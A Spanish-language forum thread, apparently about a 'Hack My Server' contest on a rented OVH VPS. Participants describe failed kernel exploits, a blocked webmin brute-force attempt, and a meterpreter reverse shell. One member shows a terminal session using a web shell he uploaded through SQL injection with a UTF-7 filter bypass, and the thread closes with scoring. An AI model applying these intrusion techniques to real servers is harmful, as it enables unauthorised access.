Todo indica que es un ubuntu 13.10 (saucy) con el kernel 2.6.. sin embargo, segun ubuntu (https://wiki.ubuntu.com/SaucySalamander/ReleaseNotes#Linux_kernel_3.11), SaucySalamander viene con el 3.11 ... Lo puedo confirmar porque me descargue la iso de 13.10 y el uname -r me tira 3.11.. la unica version de ubuntu que viene con el 2.6.32 es la 10.04 LTS -____-
http://en.wikipedia.org/wiki/List_of_Ubuntu_releases#Table_of_versions
En fin, leyendo un poco, resulta que OVH usa "distros" personalizadas:
http://serverfault.com/questions/586171/cant-update-linux-kernel-on-vps
http://forum.kimsufi.com/showthread.php?20971-weird-kernels-where-to-get-sources-for-OVH-kernels
http://forum.ovh.co.uk/showthread.php?239-Custom-kernel
Tamos jodidos xD
Saludos
Lo que pasa es que está usando un sistema virtualizado, OVH aquí está usando OpenVz (hay otros sistemas en OVH). Si te das cuenta en el /proc/mounts aparece la ruta del disco duro del sistema virtualizado en el host. Lo ha puesto ret2libc.
http://en.wikipedia.org/wiki/OpenVZ
Encontre un exploit que podría funcionar, salio hace un mes, el problema es que necesito compilarlo ahí en el host xD y otros pequeños detalles también.
Voy a intentar a hacer brute force al webmin con root a ver si tiene una contraseña débil.
Edit: Error - Access denied for x.x.x.x. The host has been blocked because of too many authentication failures. NOUP.
Hmm cierto, no me había fijado en el post ..
Saludos
Bueno, al final perdí una noche y deje lleno de exploits que no funcionaron por ahí tirados... A ver si llega alguien e ilumina un poco el camino xD
Saludos
¿Alguna novedad?
Que yo sepa nada... yo he estado remenando un poco ayer pero no encuentro nada...
Si alguien tiene tiempo podría mirar info en los metadatos y esas cosas pero dudo que saquemos nada :S y por lo visto ningún exploit da resultados.
Por aportar algo aunque no tengo muchos conocimientos en la carpeta proc parece ser que hay cosas interesantes, pero ya digo, NPI.
dimitrix una ayudita!! xD
Bueno, si nadie puede sacar mas nada, me doy por campeón, os voy pasando mi dirección para que me enviéis el premio ;D
Yo lo más que he sacado a sido una reverse con meterpreter....
Mientras tanto , en rusia:
[youtube=640,360]http://www.youtube.com/watch?v=-F-JfWqMG6g[/youtube]
Я сошла́ с ума́,
Я сошла́ с ума́,
Мне нужна́ она́,
Мне нужна́ она́,
Мне нужна́ она́...
Я сошла́ с ума́...
Меня́ по́лностью нет
Абсолю́тно всерьёз,
Ситуа́ция HELP,
Ситуа́ция SOS.
Я себя́ не пойму́:
Ты отку́да взяла́сь?
Почему́, почему́
На тебя́ повела́сь?
Выключа́ется свет,
Я куда́-то лечу́;
Без тебя́ меня́ нет,
Ничего́ не хочу́.
Э́то ме́дленный яд,
Э́то сво́дит с ума́,
А они́ говоря́т:
"Винова́та сама́".
А они́ говоря́т:
"Винова́та сама́".
Я сошла́ с ума́,
Я сошла́ с ума́,
Мне нужна́ она́,
Мне нужна́ она́,
Мне нужна́ она́...
Я сошла́ c ума́,
Мне нужна́ она́!
Без тебя́ я - не я,
Без тебя́ меня́ нет,
А они́ говоря́т,
Говоря́т: "Э́то бред".
Э́то со́лнечный яд -
Золоты́е лучи́,
А они́ говоря́т:
"На́до сро́чно лечи́ть".
Я хоте́ла забы́ть
До упо́ра и вниз,
Я счита́ла столбы́
И расте́рянных птиц.
Без тебя́ меня́ нет,
Отпусти́, отпусти́,
До угла́ по стене́,
Ма́ма, па́па, прости́!
Я сошла́ с ума́,
Я сошла́ с ума́,
Мне нужна́ она́,
Мне нужна́ она́,
Мне нужна́ она́...
Я сошла́ c ума́,
Мне нужна́ она́!
Раз, два, по́сле пяти́,
Ма́ма, па́па, прости́,
Я сошла́ с ума́.
Раз, два, по́сле пяти́,
Ма́ма, па́па, прости́,
Я сошла́ с ума́.
Я сошла́ с ума́,
Я сошла́ с ума́,
Мне нужна́ она́,
Мне нужна́ она́,
Мне нужна́ она́...
Я сошла́ c ума́,
Мне нужна́ она́!
[youtube=640,360]http://www.youtube.com/watch?v=maoAFT61n6M[/youtube]
Fue divertido mientras duró, pero según palabras de OVH: Sois un peligro para sus instalaciones y han cancelado el server.
Haré un reporte, reparto de puntos y al próximo hablaré con la empresa antes de hacer nada...
Nos vemos en Hack My Server III
(El próximo será más complicado)
Cita de: dimitrix en 6 Agosto 2014, 00:37 AM
Fue divertido mientras duró, pero según palabras de OVH: Sois un peligro para sus instalaciones y han cancelado el server.
Haré un reporte, reparto de puntos y al próximo hablaré con la empresa antes de hacer nada...
Nos vemos en Hack My Server III
(El próximo será más complicado)
[youtube=640,360]http://www.youtube.com/watch?v=nivQIgk2EKk [/youtube]
Je!
No pudimos tocar el server... We can't touch this?
[youtube=640,360]http://www.youtube.com/watch?v=otCpCn0l4Wo[/youtube]
Pues vaya... :/
Espero ansioso ya el próximo ;D
Ahaha gane yo esque me estaba reservando para el final.. :laugh:
¿Los de OVH no sabían que estabas haciendo? xDDD
Espero que no haya repercusiones para nosotros eh xD, especialmente porque no he usado un proxy ni nada xDDD.
Cita de: MinusFour en 6 Agosto 2014, 02:27 AM
¿Los de OVH no sabían que estabas haciendo? xDDD
Espero que no haya repercusiones para nosotros eh xD, especialmente porque no he usado un proxy ni nada xDDD.
Tranquilo, repercusión ninguna para nadie que para algo pagué el servidor... lo que pasa es que por "seguridad" toman ciertas medidas, pero
todo legal.
yo más que hacer un Hack my server III haría un Hack my server 2.2 ya que este se quedo un poco a medias y vete a saber tu si alguien podría haber conseguido acceso root (creo que dijiste que se acababa el día 14, así que aun falta más
En fin, pues eso, fue divertido mientras duro
PD: Si los del hosting decían que eramos un peligro, es que alguien estuvo a punto de conseguir algo? xD
Cita de: Stakewinner00 en 6 Agosto 2014, 12:25 PM
yo más que hacer un Hack my server III haría un Hack my server 2.2 ya que este se quedo un poco a medias y vete a saber tu si alguien podría haber conseguido acceso root (creo que dijiste que se acababa el día 14, así que aun falta más
En fin, pues eso, fue divertido mientras duro
PD: Si los del hosting decían que eramos un peligro, es que alguien estuvo a punto de conseguir algo? xD
No creo que nadie haya llegado a conseguir nada hasta ahora, lo que pasa es que se puede dar el caso de que alguien encuentre alguna vulnerabilidad que no solo afecte a este server sino al resto de servidores de OVH, por eso supongo yo que lo han cerrado.
Saludos
Eso es que se sienten inseguros... ¡Pongámonos a inversitar sus servers! haha, naah... yo no tengo npi :/ xD
Vamos, yo aun tengo mi shell xD
me@Machine:~/Escritorio/server$ php cliente.php http://web.com/wp-content/uploads/whk-shell.php
Conectando ... Conectado!
WHK@owned-server:/var/www/wp-content/uploads$ ls
drwxrwxrwx .
drwxrwxrwx ..
-rw-r--r-- index.php
drwxr-xr-x tmp
-rw-r--r-- whk-shell.php
WHK@owned-server:/var/www/wp-content/uploads$ system id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
WHK@owned-server:/var/www/wp-content/uploads$
Me faltan mis puntos por haber subido la shell a traves de la inyección sql bypaseando el filtro de seguridad de wordpress a traves del utf7.
PD: el webmin no es vulnerable por obsolencia (para que ahorren tiempo):
webmin : 1.690
apache2 : 2.4.6
mysql : 5.5.37
phpmyadmin : 4:4.0.6-1
gcc : 0
php5 : 5.5.3
Me gustaría echar una partida, hace tiempo que tenía esto abandonado.
Por cierto, el ganador es #!drvy, tiene 10 minutos para reclamar su premio :-)
Buenas,
Yo creo que el ganador debería de ser WHK ya que demostró como hacerlo todo manualmente y sin tirar de phpmyadmin ni nada parecido.
Ademas fue de los primeros en darse cuenta de que no era un ubuntu y al fin y al cabo aunque yo explique algunas cosas.. no se puede comparar con lo que hizo WHK.
Saludos
Concuerdo con #!drvy.
Reclamo un par de puntos mas. Mira la pagina 11, dimitrix.
Saludos!
Acabo de actualizar los puntos en la página principal.
Son 11 puntos para
#!drvy contra 8 puntos de
WHK, he valorado diferentes cosas, tanto la complejidad de los ataques (que WHK gana), como la participación...
Igualmente, si WHK quiere el primio genial...
CitarAdemas fue de los primeros en darse cuenta de que no era un ubuntu y al fin y al cabo aunque yo explique algunas cosas.. no se puede comparar con lo que hizo WHK.
Si que era ubuntu xDDD
Su servidor VPS acaba de ser instalado con el siguiente sistema operativo/distribución:
Ubuntu 13.10 Server (en versión 64 bits)
¡NOS VEMOS EN LA PRÓXIMA!
Vale :D , si se pudiera puedes partir el poster por la mitad y enviarle la otra mitad a #!drvy xD sería genial :P jajaja (es broma, no lo vayas a partir).
Tarde ya lo he partido xD
Ahora en serio, felcidades, gracias por compartir tus conocimientos y creo que todos esperamos una foto del poster xDDD